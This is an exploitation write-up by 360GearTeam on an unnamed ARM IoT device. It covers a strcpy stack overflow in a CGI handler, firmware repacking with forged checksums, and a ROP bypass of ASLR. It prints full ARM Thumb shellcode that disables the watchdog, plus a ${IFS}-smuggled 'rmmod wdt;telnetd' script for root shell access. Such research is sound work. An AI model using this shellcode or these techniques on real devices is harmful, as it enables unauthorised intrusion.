Author:0K5y && Larryxi @ 360GearTeam
# 0x00 前言
在万物互联的时代,IoT安全也逐渐被人们所关注。IoT设备在软件二进制方面的攻击面和传统PC端的二进制安全类似,但在架构上有所不同,如arm、mips、ppc等都会在日常的安全审计过程中有所接触。架构的不同也就反应在rop链和shellcode的构造,每一种架构下的指令集都是值得利用与玩味的。
本篇文章中主要介绍了针对某ARM IoT设备从漏洞挖掘到漏洞利用的整套思考与攻击链条,期望大家对IoT安全有所交流、学习和进步。
0x01 漏洞挖掘
环境前瞻
因为已经拿到对应设备的固件,所以不用再上下求索提取固件,binwalk解包后是个常见的squashfs 文件系统,分析可得出三个前瞻的结论:
- 其在/etc/init.d/S99中启动app相关服务,并将telnetd注释掉关闭了telnet接口。
- 其在/etc/passwd中保存的root密码为弱口令,在github可搜索到。
- 通过file /bin/busybox信息可得知其架构为armel。
根据上述信息,一般的攻击思路便是通过Web端命令注入或缓冲区溢出,开启系统的telnetd服务,再由root弱口令获取shell。
Web漏洞
该设备存在一个管理后台,开启burp抓包,发现了几个不痛不痒的问题:
- 存在未授权访问的页面,虽然在js中有重定向但burp中依旧可以看到对应页面的静态资源。
- 后台登录成功后会将身份信息保存在cookie中,并对所有动态资源的获取都通过url传递相关身份信息作为认证。
- 某些cgi也存在未授权访问,可得到相关配置文件,但无后台账号密码和内存布局等关键信息。
- 还有些cgi可以执行某些特定的指令如reboot,但限制得比较死,只能造成拒绝服务一类的攻击。
根据上述信息,可以推断常见的登录绕过、self-xss、csrf便没什么太大的作用了,命令注入相关的接口也没有找到,考虑从固件相关app binary逆向分析寻找漏洞点。
缓冲区溢出
我们通常会看和http相关的binary,毕竟http服务器和后端的处理代码是很大的一块攻击面。搜索cgi字符串可以找到对应的handler函数,其中有个提取url中query参数的函数,重命名为parse_url_query:
逆向可知,其从请求的url中提取对应的参数,返回一个结构体,第一个DWORD保存value pointer,第二个DWORD保存value length:
此处value的长度是我们可控的,那么在其父函数(图2)的120行和130行中直接把value的值strcpy至栈上的空间,这里就产生了经典的缓冲区溢出。查找parse_url_query的交叉引用,只要其后存在strcpy的操作,那么很大程度上也会是个溢出点。
0x02 调试环境
获取调试接口
有了溢出点,我们肯定迫不及待地想要去调试漏洞利用获取shell,但获取调试接口也是我们面临的一个问题:
- 没有找到命令注入,也就无法通过telnet执行命令上传gdbserver进行调试。
- 虽然设备上有明显的UART接口,但其输出的只是日志信息,没有提供系统shell。
- 尝试修改u-boot的init字段为/bin/sh,没有实际效果。
由于我们手上已有固件,观察到后台有升级固件的功能,自然想到去除对telnetd的注释,重新打包升级固件,就可以开启调试之旅了。
打包完固件之后更新固件,在串口的日志输出处可以看到如下错误:
可知需要修改md5, 打开固件在固件头附近可以看到如下md5值:
直接修改为计算之后的值即可。再次更新,可以看到如下报错,因为固件更改,导致该文件头中保存的块CRC校验错误:
可以在文件偏移0x22c处看到如下CRC校验值:5242,修改为 8582即可:
再次更新,由于修改了文件头,导致文件头的CRC校验报错:
在文件最开始处,可以看到文件头CRC校验值:ce4f,修改为0dea即可:
最后由于文件被修改,导致md5校验出错,再次修改md5值即可,不再赘述。
交叉编译环境
一开始使用github上下载的静态编译好的gdbserver-7.7.1-armel-eabi5-v1-sysv,在kali上配合gdb-multiarch(7.12)进行调试。应用程序对每个http请求都会create一个线程来处理,但在漏洞函数处下断点始终断不下来,还会出现莫名其妙的SIGSEGV错误。搜索得知调试的服务端和客户端的版本相近才比较靠谱。
遂搭建交叉编译环境,自己静态编译一个7.11版本的arm-linux-gnueabi-gdbserver。在ubuntu 14.04上安装gcc-arm-linux-gnueabi,下载gdbserver源码包,根据configure和Makefile静态编译即可,网上也有相关教程,不再赘述。
由此可在漏洞cgi_handler函数起始处断下:
0x03 漏洞利用
安全机制
在调试过程中系统会在短时间内重启,怀疑有watchdog的存在,通过串口日志和reboot字符串的搜索,定位watchdog为内核模块wdt,rmmod wdt卸载即可进行调试。综合可知该app进程和系统开启安全机制的情况如下:
- 没有GS保护。
- 主程序的栈空间和各个线程的栈空间都是可执行的。
- 系统的ASLR为1,uClibc的地址确实也会随机化。
- brk分配的堆地址范围不变,vectors段地址范围不变。
- watchdog以内核模块的形式存在,短时间内应用程序无响应便重启系统。
利用方案
根据静态或动态方法可以确定偏移,调试验证看看程序逻辑能不能无异常地走到最后,并覆盖到pc或lr寄存器。在函数返回前如约而至地迎来了异常,定位可知在图二中133行的v68和v69局部变量都会因为溢出被覆盖,然后便进入135行parse_url_query逻辑。
局部变量v62作为a1传入parse_url_query函数中,本为url的字符串指针但却被我们的溢出覆盖,最后在图三27行调用strcasestr函数时,产生了非法地址访问。只要对应偏移覆盖v62为我们可控的可读的内存地址,那么这个异常即可规避使parse_url_query返回-1,而且也不会进入漏洞函数的后续逻辑,最终能顺利地劫持pc了。
虽然系统开启了ASLR,地址是不可预期的,但仍可利用vectors段的固定地址进行strcasestr,即可来到对返回地址的覆盖:
因为strcpy的\x00截断和ASLR,首先考虑的是在app的代码段寻找gadget。因为有截断所以只能完成一次跳转,而且需要往回调执行栈上的shellcode,目前我们可控的寄存器只有r4、fp和pc,在代码段是无法找到这么完美的gadget。
其次考虑的是vectors内存段,其不受ASLR的影响而且没有截断的问题,如果有好的gadget也是能够跳转shellcode的,但实际上也收效甚微:
那不得不面对的就是绕过ASLR了:
- 信息泄露:几乎所有的调试日志输出只在串口上可见,http响应中也限制得比较死,没有在软件层面上找到可以输出信息泄露的有效点。
- 暴力破解:把程序一打崩watchdog就重启系统,暴力的方法也就没意义了。
- 堆喷:处理线程都是共享的heap,如果处理过程中有brk分配内存,那还是可以尝试一下堆喷的效果。
首先需要逆向一下处理http请求的过程。根据串口输出日志结合调试可知,在函数sub_25E2DC会生成线程调用函数sub_25DD6C来处理每一个请求。在sub_25DD6C中会接收0x400个字节判断该socket流属于什么协议:
具体可知判断HTTP协议只是依据开头的GET或POST字节:
然后动态调用函数指针处理HTTP请求:
在上图的45行可以看到,接收0x400字节的buf是由calloc函数分配的,但在判断完是HTTP协议后在65行立即释放了该堆内存空间。前后申请释放的间隔太短,实际使用20000线程也只能喷出6个堆块,可见在我们这个环境下使用多线程来进行堆喷是没有太大效果的。
上述思路都不通,还是回到漏洞环境,看看上下文有没有其他可借助的点。简单地尝试之后,发现在栈上保存的高地址指针正好指向我们socket传入的字节串:
山穷水尽溜一圈,那么经过两次的pop,即可劫持pc跳转至GET /cgi-bin/xxx.cgi?p=xxx HTTP/1.1\r\n执行了。这样只需要一次跳转的两次pop还是很好找的:
shellcode构造
猜想和调试验证可知,该程序已\r\n\r\n作为http头结束的标志,因此\x00会截断导致程序直接抛弃该请求:
既然是程序自身处理的HTTP请求,那么\x00\x0d\x0a\x20都会是badchar。GET需要凑一个字节如GETB构成nop指令即可。
所以就需要自己构造或者参考他人的例子构造shellcode。在构造之前,我们一般会写一个相同逻辑的c语言程序,静态编译看看能否在目标环境运行,再构建同等功能的shellcode:
#include <unistd.h>
int main(void) {
execve("/bin/sh", 0, 0);
return 0;
}
上述程序并没有获得如期的shell,调试后可知execve执行后的返回值为0xfffffffe即ENOENT,因为/bin/ls只是/bin/busybox的一个软链接,所以尝试使用busybox来执行命令就可以了:
#include <unistd.h>
int main(void) {
char* argv[] = {"busybox", "rmmod", "wdt"};
execve("/bin/busybox", argv, 0);
return 0;
}
生成shellcode有一个捷径可走就是直接调用pwnlib.shellcraft.thumb:
/* execve(path='/bin/busybox', argv=['busybox', 'rmmod', 'wdt'], envp=0) */
/* push '/bin/busybox\x00' */
eor r7, r7
push {r7}
ldr r7, value_7
b value_7_after
value_7: .word 0x786f6279
value_7_after:
push {r7}
ldr r7, value_8
b value_8_after
value_8: .word 0x7375622f
value_8_after:
push {r7}
ldr r7, value_9
b value_9_after
value_9: .word 0x6e69622f
value_9_after:
push {r7}
mov r0, sp
/* push argument array ['busybox\x00', 'rmmod\x00', 'wdt\x00'] */
/* push 'busybox\x00rmmod\x00wdt\x00\x00' */
mov r7, #0x74
push {r7}
ldr r7, value_10
b value_10_after
value_10: .word 0x64770064
value_10_after:
push {r7}
ldr r7, value_11
b value_11_after
value_11: .word 0x6f6d6d72
value_11_after:
push {r7}
ldr r7, value_12
b value_12_after
value_12: .word 0xff786f62
value_12_after:
lsl r7, #8
lsr r7, #8
push {r7}
ldr r7, value_13
b value_13_after
value_13: .word 0x79737562
value_13_after:
push {r7}
/* push 0 */
eor r7, r7
push {r7} /* null terminate */
mov r1, #0x12
add r1, sp
push {r1} /* 'wdt\x00' */
mov r1, #0x10
add r1, sp
push {r1} /* 'rmmod\x00' */
mov r1, #0xc
add r1, sp
push {r1} /* 'busybox\x00' */
mov r1, sp
eor r2, r2
/* call execve() */
/* mov r7, #SYS_execve */
mov r7, #11 /* 0xb */
svc 0x41
将汇编代码转成机器码后包含了一个\x00字节,还是需要理解shellcode的逻辑,然后更改相关指令规避掉badchar:
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x786f6279 \x79\x62\x6f\x78 ybox
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x7375622f \x2f\x62\x75\x73 /bus
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6e69622f \x2f\x62\x69\x6e /bin
push {r7} \x80\xb4
mov r0, sp \x68\x46
mov r7, #0x74 \x4f\xf0\x74\x07 t
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x64770064 \x64\x00\x77\x64 d\x00wd
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6f6d6d72 \x72\x6d\x6d\x6f rmmo
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0xff786f62 \x62\x6f\x78\xff box\xff
lsl.w r7, r7, #8 \x4f\xea\x07\x27
lsr.w r7, r7, #8 \x4f\xea\x17\x27 box\x00
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x79737562 \x62\x75\x73\x79 busy
push {r7} \x80\xb4
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
mov.w r1, #0x12 \x4f\xf0\x12\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0x10 \x4f\xf0\x10\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0xc \x4f\xf0\x0c\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov r1, sp \x69\x46
eor.w r2, r2, r2 \x82\xea\x02\x02
mov.w r7, #0xb \x4f\xf0\x0b\x07
svc #0x41 \x41\xdf
1111
2222
3333
\x00\x00\x00\x00
busy
box\x00
romm
d\x00wd
t\x00\x00\x00
/bin
/bus
ybox
\x00\x00\x00\x00
这段shellcode总结下来有两个重要的特点:
- 读取pc寄存器可获取4字节数据,然后使用b指令越过数据部分。
- 通过左移右移来将某些字节置零。
借鉴以上思想,通过位移来优化一下其中的\x00字节:
1111
2222
3333
\x00\x00\x00\x00
wdt\xff
romm
d\x00\x00\x00
/bin
/bus
ybox
\x00\x00\x00\x00
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x786f6279 \x79\x62\x6f\x78 ybox
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x7375622f \x2f\x62\x75\x73 /bus
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6e69622f \x2f\x62\x69\x6e /bin
push {r7} \x80\xb4
mov r0, sp \x68\x46
mov.w r7, #0x64 \x4f\xf0\x64\x07 d
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0x6f6d6d72 \x72\x6d\x6d\x6f rmmo
push {r7} \x80\xb4
ldr.w r7, [pc, #4] \xdf\xf8\x04\x70
b #6 \x01\xe0
0xff786f62 \x77\x64\x74\xff wdt\xff
lsl.w r7, r7, #8 \x4f\xea\x07\x27
lsr.w r7, r7, #8 \x4f\xea\x17\x27 wdt\x00
push {r7} \x80\xb4
eor.w r7, r7, r7 \x87\xea\x07\x07
push {r7} \x80\xb4
mov.w r1, #0x4 \x4f\xf0\x04\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0xc \x4f\xf0\x0c\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov.w r1, #0x1d \x4f\xf0\x1d\x01
add r1, sp, r1 \x69\x44
push {r1} \x02\xb4
mov r1, sp \x69\x46
eor.w r2, r2, r2 \x82\xea\x02\x02
mov.w r7, #0xb \x4f\xf0\x0b\x07
svc #0x41 \x41\xdf
这一段执行execve是没有任何问题了,可是这里只是关闭了watchdog,我们还想做的是开启telnetd服务,后续就可以通过root弱口令获取系统shell了。开始时想使用两次execve分别执行rmmod wdt和telnetd,但exec调用后当前进程的内存被完全替换,也就无法进行第二次的execve了。
最终确定使用渗透中的常见套路,在/tmp目录下使用系统调用写一个shell脚本,空格可以使用${IFS}绕过,最后execve调用sh执行该文件,达到一种执行多条命令的效果:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
void main() {
int fd = open("/tmp/XXX", O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);
write(fd, "rmmod${IFS}wdt;telnetd", 22);
close(fd);
}
完成利用
漏洞利用便是将上述结合起来,如图所示:
0x04 总结
- IoT设备上的安全防御手段和机制肯定会随着我们的聚焦而增强,也是一个有趣的挑战。
- 对于漏洞环境的审查还需要细致观察或者脚本化。
- 文中有所疏漏的地方还请师傅们不吝赐教。
- 有幸去了bluehat2019,IoT上的Fuzzing、高阶利用和输出积累是我个人需要提高的。